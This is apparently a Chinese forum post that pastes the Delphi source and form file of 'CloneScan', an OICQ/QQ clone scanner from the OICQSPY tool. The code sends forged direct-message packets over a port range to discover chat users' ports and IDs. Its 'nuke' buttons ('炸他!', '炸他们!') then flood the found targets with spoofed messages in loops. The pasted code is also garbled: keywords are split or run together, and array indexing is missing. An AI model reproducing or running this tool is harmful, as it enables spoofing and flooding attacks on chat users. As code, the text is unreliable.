网上有很多类似代码可以下载的
下面的是OICQSPY的端口扫描器代码,由于忘了下载地址了,所以直接贴在这里:
CloneScan.Pas:
unit CloneScan;
{$DEFINE DEBUGVERSION}
//{$define REDUCE_VERSION}
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Spin, NMUDP, ExtCtrls, Menus, WinSock, ScktComp, ComCtrls, Variants;
type
TPortScanParam = record
dwID, sinAddr: DWORD;
nStartPort, nStopPort, nStepPort: DWORD;
nLoopCnt, nTimeOut: Integer;
end;
PPortScanParam = ^TPortScanParam;
TPortInfo = record
nIndex: Integer;
nPort: Word;
strUID: string;
end;
TCloneScanDlg = class(TForm)
Label1: TLabel;
edIPAddr: TEdit;
Label2: TLabel;
PortList: TListBox;
btnStart: TButton;
Label3: TLabel;
Label4: TLabel;
edStartPort: TSpinEdit;
edStopPort: TSpinEdit;
edTimes: TSpinEdit;
edTimeOut: TSpinEdit;
Label5: TLabel;
Label6: TLabel;
btnClose: TButton;
PortUDP: TNMUDP;
OutTimer: TTimer;
Label7: TLabel;
edSrcId: TEdit;
btnNuke: TButton;
btnNukeAll: TButton;
ScanMenu: TPopupMenu;
mClear: TMenuItem;
mSave: TMenuItem;
SaveDlg: TSaveDialog;
Label8: TLabel;
edThreadNum: TSpinEdit;
btnPause: TButton;
Label9: TLabel;
lbTargetNumber: TLabel;
ProgBar: TProgressBar;
procedure PortUDPDataReceived(Sender: TComponent;
NumberBytes: Integer;
FromIP: string;
Port: Integer);
procedure OutTimerTimer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnNukeClick(Sender: TObject);
procedure btnNukeAllClick(Sender: TObject);
procedure mClearClick(Sender: TObject);
procedure mSaveClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure btnCloseClick(Sender: TObject);
procedure PortListKeyDown(Sender: TObject;
var Key: Word;
Shift: TShiftState);
procedure btnStartClick(Sender: TObject);
procedure btnPauseClick(Sender: TObject);
private
{ Private declarations }
Info: array of TPortInfo;
nInfoCnt: Integer;
// nThreadId:LongWord;
nScanCnt: Integer;
nRunFlag: Integer;
ListLock: TMultiReadExclusiveWriteSynchronizer;
StatusLock: TMultiReadExclusiveWriteSynchronizer;
function CheckInput: Boolean;
function FindPortInfo(nPort: Word): Integer;
{$IFNDEF REDUCE_VERSION}
function GetIdByIndex(Index: Integer): string;
function GetIpByIndex(Index: Integer): string;
function GetPortByIndex(Index: Integer): Word;
{$ENDIF}
procedure DeletePortByIndex(Index: Integer);
procedure ProcessReponse(Buf: array of Char;
BufLen: Integer;
fromIp: string;
fromPort: Word);
// procedure SendPackage;
procedure ShutdownThread;
proceduredo
PortScan(sinAddr: DWORD;
StartPort, EndPort: Word;
LoopCnt, TimeOut: DWORD);
// function GetTimeOutOfPeer(ip:String):Integer;
procedure ThreadPortScan;
public
{ Public declarations }
FSocket: TSocket;
class procedure Execute(ip: string);
end;
var
CloneScanDlg: TCloneScanDlg;
implementation
{$R *.DFM}
uses Data, Info, NukeInfo, Main;
var
StopFlag: Boolean;
function ThreadScanFunc(P: Pointer): Integer;
var
Param: PPortScanParam;
begin
Param := P;
CloneScanDlg.DoPortScan(Param^.sinAddr, Param^.nStartPort, Param^.nStopPort, Param^.nLoopCnt, Param^.nTimeOut);
Dec(CloneScanDlg.nRunFlag);
if (CloneScanDlg.nRunFlag = 0) then
begin
CloneScanDlg.btnStart.Enabled := True;
CloneScanDlg.btnPause.Enabled := False;
end;
FreeMem(P);
Result := 0;
end;
function ScanFunc(P: Pointer): Integer;
var
Buf: array[0..2048] of Char;
fromaddr: TSockAddr;
fromlen: Integer;
BufLen: Integer;
//RetCode
WORD;
begin
while (not StopFlag)do
begin
ZeroMemory(@fromaddr, SizeOf(fromaddr));
fromlen := SizeOf(fromaddr);
BufLen := recvfrom(CloneScanDlg.FSocket, Buf, 2048, 0, fromaddr, fromlen);
if (BufLen <> SOCKET_ERROR) then
CloneScanDlg.ProcessReponse(Buf, BufLen, inet_ntoa(fromaddr.sin_addr), ntohs(fromaddr.sin_port));
{ else
begin
//if retcode=10054 remote host close connection
//mean that ICMP DESTAINATION UNREACHEABLE
RetCode:=GetLastError;
end;
}
end;
Result := 0;
end;
function TCloneScanDlg.CheckInput: Boolean;
begin
Result := True;
end;
class procedure TCloneScanDlg.Execute(ip: string);
begin
if (CloneScanDlg <> nil) then
begin
CloneScanDlg.edIPAddr.Text := ip;
CloneScanDlg.Show
end
else
begin
CloneScanDlg := TCloneScanDlg.Create(Application);
CloneScanDlg.edIPAddr.Text := ip;
CloneScanDlg.Show;
end;
end;
procedure TCloneScanDlg.PortUDPDataReceived(Sender: TComponent;
NumberBytes: Integer;
FromIP: string;
Port: Integer);
var
Buf: array[0..2048] of Char;
Len: Integer;
begin
PortUDP.ReadBuffer(Buf, Len);
if (Len > 10) then
begin
ProcessReponse(Buf, Len, FromIp, Port);
end;
end;
procedure TCloneScanDlg.OutTimerTimer(Sender: TObject);
begin
{OutTimer.Enabled:=False;
ShutdownThread;
closesocket(FSocket);
btnStart.Enabled:=True;
lbStatus.caption:='扫描结果如下';}
end;
procedure TCloneScanDlg.FormCreate(Sender: TObject);
begin
nInfoCnt := 0;
ListLock := TMultiReadExclusiveWriteSynchronizer.Create;
StatusLock := TMultiReadExclusiveWriteSynchronizer.Create;
end;
function TCloneScanDlg.FindPortInfo(nPort: Word): Integer;
var
I: Integer;
begin
Result := -1;
for I := 0 to nInfoCnt - 1do
begin
if (Info
.nPort = nPort) then
begin
Result := I;
Break;
end;
end;
end;
procedure TCloneScanDlg.btnNukeClick(Sender: TObject);
{$IFNDEF REDUCE_VERSION}
var
SrcId, Msg: string;
I, FaceNo, cnt: DWORD;
{$ENDIF}
begin
{$IFNDEF REDUCE_VERSION}
if (PortList.Items.Count > 0) then
begin
if (TNukeInfoDlg.Execute(SrcId, FaceNo, cnt, Msg)) then
begin
for I := 0 to cntdo
begin
SendFakeMsg(SrcId, IntToStr(FaceNo), GetIdByIndex(PortList.ItemIndex),
GetIPByIndex(PortList.ItemIndex), GetPortByIndex(PortList.ItemIndex), Msg, Date, Time);
end;
end;
end
else
begin
ShowMessage('没有攻击对象!');
end;
{$else
}
ShowMessage('对不起!简版没有此功能');
{$ENDIF}
end;
{$IFNDEF REDUCE_VERSION}
function TCloneScanDlg.GetIdByIndex(Index: Integer): string;
var
I: Integer;
begin
for I := 0 to nInfoCnt - 1do
begin
if (Info.nIndex = Index) then
begin
Result := Info.strUID;
Break;
end;
end;
end;
function TCloneScanDlg.GetIpByIndex(Index: Integer): string;
begin
Result := edIPAddr.Text;
end;
function TCloneScanDlg.GetPortByIndex(Index: Integer): Word;
var
I: Integer;
begin
Result := 4000;
for I := 0 to nInfoCnt - 1do
begin
if (Info.nIndex = Index) then
begin
Result := Info.nPort;
Break;
end;
end;
end;
{$ENDIF}
procedure TCloneScanDlg.btnNukeAllClick(Sender: TObject);
{$IFNDEF REDUCE_VERSION}
var
SrcId, Msg: string;
I, J, FaceNo, cnt: DWORD;
{$ENDIF}
begin
{$IFNDEF REDUCE_VERSION}
if (TNukeInfoDlg.Execute(SrcId, FaceNo, cnt, Msg)) then
begin
for I := 0 to nInfoCnt - 1do
begin
for J := 0 to cntdo
begin
SendFakeMsg(SrcId, IntToStr(FaceNo), Info.strUID,
edIPAddr.Text, Info.nPort, Msg, Date, Time);
end;
end;
end;
{$else
}
ShowMessage('对不起!简版没有此功能.');
{$ENDIF}
end;
procedure TCloneScanDlg.mClearClick(Sender: TObject);
begin
PortList.Clear;
SetLength(Info, 0);
nInfoCnt := 0;
lbTargetNumber.Caption := '0';
end;
procedure TCloneScanDlg.mSaveClick(Sender: TObject);
begin
if (SaveDlg.Execute) then
begin
if (Sender is TMenuItem) then
(
(
(Sender as TMenuItem).GetParentMenu as TPopupMenu
).PopupComponent as TListBox
).Items.SaveToFile(SaveDlg.FileName);
end;
end;
procedure TCloneScanDlg.FormDestroy(Sender: TObject);
begin
CloneScanDlg := nil;
end;
procedure TCloneScanDlg.btnCloseClick(Sender: TObject);
begin
Close;
end;
procedure TCloneScanDlg.PortListKeyDown(Sender: TObject;
var Key: Word;
Shift: TShiftState);
var
Index: Integer;
begin
if (Key = VK_DELETE) then
begin
Index := PortList.ItemIndex;
DeletePortByIndex(Index);
PortList.Items.Delete(PortList.ItemIndex);
PortList.ItemIndex := Index;
end;
end;
procedure TCloneScanDlg.ProcessReponse(Buf: array of Char;
BufLen: Integer;
fromIp: string;
fromPort: Word);
var
uId: string;
I: Integer;
begin
uId := '';
if (Buf[4] = Chr($79)) then
//Direct msg Reponse
begin
for I := 7 to BufLen - 2do
begin
uId := uId + Buf;
end;
if (FindPortInfo(fromPort) < 0) then
begin
Inc(nInfoCnt);
SetLength(Info, nInfoCnt);
Info[nInfoCnt - 1].nPort := fromPort;
Info[nInfoCnt - 1].strUID := uId;
ListLock.begin
Write;
Info[nInfoCnt - 1].nIndex := PortList.Items.Add('Port:' + IntToStr(fromPort) + ' ID:' + uId);
lbTargetNumber.Caption := IntToStr(nInfoCnt);
ListLock.EndWrite;
end;
end;
end;
{procedure TCloneScanDlg.btnStartClick(Sender: TObject);
var
addr:TSockAddr;
begin
if(not CheckInput)then
Exit;
btnStart.Enabled:=False;
OutTimer.Enabled:=False;
OutTimer.Interval:=edTimeOut.Value;
FSocket:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(FSocket<>INVALID_SOCKET)then
begin
Addr.sin_family := AF_INET;
Addr.sin_addr.s_addr := INADDR_ANY;
Addr.sin_port := 0;
if(bind(FSocket,addr,sizeof(addr))<>SOCKET_ERROR)then
begin
StopFlag:=False;
if(begin
Thread(nil,4096,ScanFunc,Pointer(FSocket),0,nThreadId)=NULL)then
begin
ShowMessage('Thread error'+IntToStr(GetLastError));
end;
try
SendPackage;
lbStatus.Caption:='等待回答...';
OutTimer.Enabled:=True;
except
ShutDownThread;
closesocket(FSocket);
btnStart.Enabled:=False;
end;
end;
end;
end;
}
{procedure TCloneScanDlg.SendPackage;
var
addr:TSockAddr;
port:WORD;
ip:string;
buflen,i:Integer;
buf:array [0..2048] of char;
begin
ZeroMemory(@addr,sizeof(addr));
if(CheckInput)then
begin
lbStatus.Caption:='正在发送...';
Refresh;
ip:=edIPAddr.Text;
for port:=edStartPort.Value to edStopPort.Valuedo
begin
Inc(nFakeCnt);
for i:=0 to edTimes.Value-1do
begin
buflen:=MakeDirectMsgBuf(buf,nFakeCnt,edSrcId.text,0,Date,Time,'');
addr.sin_family:=AF_INET;
addr.sin_addr.S_addr:=inet_addr(PChar(ip));
addr.sin_port:=htons(port);
if(sendto(FSocket,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then
begin
ShowMessage('Send error'+IntToStr(GetLastError));
break;
end;
end;
end;
end;
end;
}
procedure TCloneScanDlg.ShutdownThread;
begin
StopFlag := True;
end;
procedure TCloneScanDlg.DeletePortByIndex(Index: Integer);
var
I: Integer;
begin
for I := 0 to nInfoCntdo
begin
if (Info.nIndex = Index) then
begin
Info.nPort := 0;
Break;
end;
end;
end;
procedure TCloneScanDlg.DoPortScan(sinAddr: DWORD;
StartPort, EndPort: Word;
LoopCnt, TimeOut: DWORD);
var
Addr: TSockAddr;
S: TSocket;
RecvTimeOut, I: Integer;
Buf: array[0..2048] of Char;
fromaddr: TSockAddr;
fromlen: Integer;
BufLen: Integer;
ErrCode: Integer;
port: Word;
begin
if (not CheckInput) then
Exit;
S := socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
RecvTimeOut := TimeOut;
if (S <> INVALID_SOCKET) then
begin
Addr.sin_family := AF_INET;
Addr.sin_addr.s_addr := INADDR_ANY;
Addr.sin_port := 0;
if (bind(S, Addr, SizeOf(Addr)) <> SOCKET_ERROR) then
begin
if (SOCKET_ERROR = setsockopt(S, SOL_SOCKET, SO_RCVTIMEO, @RecvTimeOut, SizeOf(RecvTimeOut))) then
begin
ShowMessage('setsockopt error:' + IntToStr(GetLastError));
end
else
begin
// lbStatus.Caption:='正在扫描...';
for port := StartPort to EndPortdo
begin
Inc(nFakeCnt);
StatusLock.begin
Write;
Inc(nScanCnt);
// lbStatus.Caption:='已扫描端口个数:'+IntToStr(nScanCnt);
// lbStatus.Repaint;
if ((nScanCnt mod 10) = 9) then
begin
ProgBar.StepIt;
end;
if (nScanCnt = (edStopPort.Value - edStartPort.Value)) then
begin
ProgBar.Position := ProgBar.Max;
end;
StatusLock.EndWrite;
for I := 0 to LoopCnt - 1do
begin
//sending .....
BufLen := MakeDirectMsgBuf(Buf, nFakeCnt, edSrcId.Text, 0, Date, Time, '');
Addr.sin_family := AF_INET;
Addr.sin_addr.S_addr := sinAddr;
Addr.sin_port := htons(port);
if (sendto(S, Buf, BufLen, 0, Addr, SizeOf(Addr)) = SOCKET_ERROR) then
begin
ShowMessage('Send error' + IntToStr(GetLastError));
Break;
end;
//recv...
ZeroMemory(@fromaddr, SizeOf(fromaddr));
fromlen := SizeOf(fromaddr);
BufLen := recvfrom(S, Buf, 2048, 0, fromaddr, fromlen);
if (BufLen <> SOCKET_ERROR) then
begin
//Get it!
CloneScanDlg.ProcessReponse(Buf, BufLen, inet_ntoa(fromaddr.sin_addr), ntohs(fromaddr.sin_port));
Break;
//Let 's scan next port
end
else
begin
ErrCode := GetLastError;
if (ErrCode = 10054) then
begin
//ICMP report destination unrecheable,let's scan next port
Break;
end;
end;
end;
//end for LoopCnt
Application.ProcessMessages;
if (StopFlag) then
Break;
end;
//End for port
end;
end
else
//bind error
begin
ErrCode := GetLastError;
ShowMessage('Bind error' + IntToStr(ErrCode));
end;
closesocket(S);
end;
end;
procedure TCloneScanDlg.btnStartClick(Sender: TObject);
begin
if (not CheckInput) then
Exit;
nRunFlag := edThreadNum.Value;
nScanCnt := 0;
StopFlag := False;
if (edStopPort.Value <= ProgBar.Min) then
begin
ProgBar.Min := edStartPort.Value;
ProgBar.Max := edStopPort.Value;
end
else
begin
ProgBar.Max := edStopPort.Value;
ProgBar.Min := edStartPort.Value;
end;
if ((edStopPort.Value - edStartport.Value) < 50) then
ProgBar.Step := 1
else
ProgBar.Step := 10;
btnStart.Enabled := False;
btnPause.Enabled := True;
ThreadPortScan;
Application.ProcessMessages;
end;
procedure TCloneScanDlg.btnPauseClick(Sender: TObject);
begin
ShutDownThread;
end;
{function TCloneScanDlg.GetTimeOutOfPeer(ip: String): Integer;
begin
Result:=500;
end;
}
procedure TCloneScanDlg.ThreadPortScan;
var
I: DWORD;
//hThreads:array of LongWord;
nThreadId: LongWord;
Param: PPortScanParam;
step: DWORD;
LastPort: Word;
begin
//SetLength(hThreads,edThreadNum.Value);
step := (edStopPort.Value - edStartPort.Value) div edThreadNum.Value;
LastPort := edStartPort.Value;
for I := 0 to edThreadNum.Value - 2do
begin
Param := AllocMem(SizeOf(TPortScanParam));
Param.sinAddr := inet_addr(PChar(edIPAddr.Text));
Param.dwID := StrToIntDef(edSrcId.Text, 0);
Param.nLoopCnt := edTimes.Value;
Param.nTimeOut := edTimeOut.Value;
Param.nStartPort := DWORD(edStartPort.Value) + I * step;
Param.nStopPort := Param.nStartPort + step - 1;
Param.nStepPort := step;
LastPort := Param.nStopPort + 1;
if (begin
Thread(nil, 4096, ThreadScanFunc, Param, 0, nThreadId) = Null) then
begin
ShowMessage('begin
Thread error' + IntToStr(GetLastError));
Break;
end;
end;
Param := AllocMem(SizeOf(TPortScanParam));
Param.sinAddr := inet_addr(PChar(edIPAddr.Text));
Param.dwID := StrToIntDef(edSrcId.Text, 0);
Param.nLoopCnt := edTimes.Value;
Param.nTimeOut := edTimeOut.Value;
Param.nStartPort := LastPort;
Param.nStopPort := edStopPort.Value;
Param.nStepPort := step;
begin
Thread(nil, 4096, ThreadScanFunc, Param, 0, nThreadId);
end;
end.
CloneScan.dfm:
object CloneScanDlg: TCloneScanDlg
Left = 529
Top = 0
BorderStyle = bsDialog
Caption = '克隆扫描'
ClientHeight = 408
ClientWidth = 345
Color = clBtnFace
Font.Charset = ANSI_CHARSET
Font.Color = clWindowText
Font.Height = -12
Font.Name = '宋体'
Font.Style = []
FormStyle = fsStayOnTop
OldCreateOrder = False
OnCreate = FormCreate
OnDestroy = FormDestroy
PixelsPerInch = 96
TextHeight = 12
object Label1: TLabel
Left = 24
Top = 12
Width = 36
Height = 12
Caption = '目标IP'
end
object Label2: TLabel
Left = 12
Top = 140
Width = 48
Height = 12
Caption = '扫描结果'
end
object Label3: TLabel
Left = 12
Top = 40
Width = 48
Height = 12
Caption = '开始端口'
end
object Label4: TLabel
Left = 132
Top = 40
Width = 48
Height = 12
Caption = '结束端口'
end
object Label5: TLabel
Left = 12
Top = 68
Width = 48
Height = 12
Caption = '扫描次数'
end
object Label6: TLabel
Left = 124
Top = 68
Width = 60
Height = 12
Caption = '超时值(ms)'
end
object Label7: TLabel
Left = 152
Top = 96
Width = 24
Height = 12
Caption = '源ID'
end
object Label8: TLabel
Left = 12
Top = 96
Width = 48
Height = 12
Caption = '线程个数'
end
object Label9: TLabel
Left = 72
Top = 140
Width = 78
Height = 12
Caption = '发现目标个数:'
end
object lbTargetNumber: TLabel
Left = 156
Top = 140
Width = 6
Height = 12
Caption = '0'
end
object btnPause: TButton
Left = 256
Top = 36
Width = 75
Height = 25
Caption = '停止'
TabOrder = 12
OnClick = btnPauseClick
end
object btnStart: TButton
Left = 256
Top = 8
Width = 75
Height = 25
Caption = '扫描'
Default = True
TabOrder = 8
OnClick = btnStartClick
end
object edIPAddr: TEdit
Left = 64
Top = 8
Width = 177
Height = 20
TabOrder = 0
Text = '127.0.0.1'
end
object PortList: TListBox
Left = 12
Top = 156
Width = 229
Height = 241
ItemHeight = 12
PopupMenu = ScanMenu
Sorted = True
TabOrder = 7
OnKeyDown = PortListKeyDown
end
object edStartPort: TSpinEdit
Left = 64
Top = 36
Width = 57
Height = 21
MaxValue = 0
MinValue = 0
TabOrder = 1
Value = 1000
end
object edStopPort: TSpinEdit
Left = 184
Top = 36
Width = 57
Height = 21
MaxValue = 0
MinValue = 0
TabOrder = 2
Value = 4500
end
object edTimes: TSpinEdit
Left = 64
Top = 64
Width = 57
Height = 21
MaxValue = 200
MinValue = 1
TabOrder = 3
Value = 3
end
object edTimeOut: TSpinEdit
Left = 184
Top = 64
Width = 57
Height = 21
MaxValue = 0
MinValue = 0
TabOrder = 4
Value = 500
end
object btnClose: TButton
Left = 256
Top = 64
Width = 75
Height = 25
Cancel = True
Caption = '关闭'
ModalResult = 1
TabOrder = 9
OnClick = btnCloseClick
end
object edSrcId: TEdit
Left = 184
Top = 92
Width = 57
Height = 20
TabOrder = 6
Text = '0'
end
object btnNuke: TButton
Left = 256
Top = 156
Width = 75
Height = 25
Caption = '炸他!'
TabOrder = 10
OnClick = btnNukeClick
end
object btnNukeAll: TButton
Left = 256
Top = 184
Width = 75
Height = 25
Caption = '炸他们!'
TabOrder = 11
OnClick = btnNukeAllClick
end
object edThreadNum: TSpinEdit
Left = 64
Top = 92
Width = 57
Height = 21
MaxValue = 50
MinValue = 2
TabOrder = 5
Value = 10
end
object ProgBar: TProgressBar
Left = 12
Top = 120
Width = 229
Height = 16
Min = 0
Max = 100
TabOrder = 13
end
object PortUDP: TNMUDP
RemotePort = 0
LocalPort = 8800
ReportLevel = 1
Left = 260
Top = 96
end
object OutTimer: TTimer
Enabled = False
OnTimer = OutTimerTimer
Left = 288
Top = 96
end
object ScanMenu: TPopupMenu
Left = 72
Top = 212
object mClear: TMenuItem
Caption = '清除'
OnClick = mClearClick
end
object mSave: TMenuItem
Caption = '存盘'
OnClick = mSaveClick
end
end
object SaveDlg: TSaveDialog
DefaultExt = 'txt'
Filter = '文本文件(*.txt)|*.txt'
Left = 100
Top = 212
end
end